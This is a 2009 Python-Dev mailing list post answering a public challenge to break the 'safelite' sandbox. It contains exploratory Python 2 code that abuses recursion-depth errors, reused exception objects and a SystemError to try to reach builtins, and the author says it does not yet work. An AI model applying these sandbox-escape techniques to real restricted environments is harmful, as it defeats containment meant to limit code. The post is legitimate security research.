[Python-Dev] Challenge: Please break this! [Now with blog post]
Daniel (ajax) Diniz
ajaksu at gmail.com
Tue Feb 24 22:42:59 CET 2009
print '''
tav wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!
Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.
Targets 2.6 or trunk.
It was how I stumbled upon the _warnings hack :)
Should be copy-n-past'able,
Daniel
'''
# Hi
from safelite import FileReader
# First, it's possible to set a booby-trapped
# Exception due to a Python bug
# This is bait, say hi bait
def bait():
''' Hi! '''
try:
return bait()
except:
return "Ready to go"
# Set the trap
bait()
# Let FileReader trigger it -> RuntimeError in Namespace:
FileReader('safelite.py')
# ^- shoud give:
# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# File "safelite.py", line 242, in FileReader
# self = Namespace()
# File "safelite.py", line 165, in Namespace
# for name, obj in sys.get_frame_locals(frame) \
# .iteritems():
# RuntimeError: maximum recursion depth exceeded
#
# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
FileReader('safelite.py')
except Exception, caught:
pass
# Let's brand it
caught.__init__("I'm back, the other side is scary!")
# Now set it free and see if it comes back
bait()
try:
FileReader('safelite.py')
except Exception, caught_again:
pass
# Who's there?
print caught_again # -> He's back!
# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.
# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available
# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)
# ^- shoud give:
# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# File "safelite.py", line 201, in FileReader
# fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
# to internal function
# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message
# ^- shoud give:
# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# SystemError: Objects/moduleobject.c:50: bad argument \
# to internal function
# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.
# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.
# Here's the target: freedom
class freedom(object):
def __repr__(self):
print list(sorted(globals()['__builtins__'].keys()))
print '\n\n--------\n'
return str(input('Type for freedom:\n >> ;) > '))
# Initiate caught on it
caught.__init__(freedom())
# Set the bait...
bait()
# Now, type something clever :)
FileReader('safelite.py')
More information about the Python-Dev
mailing list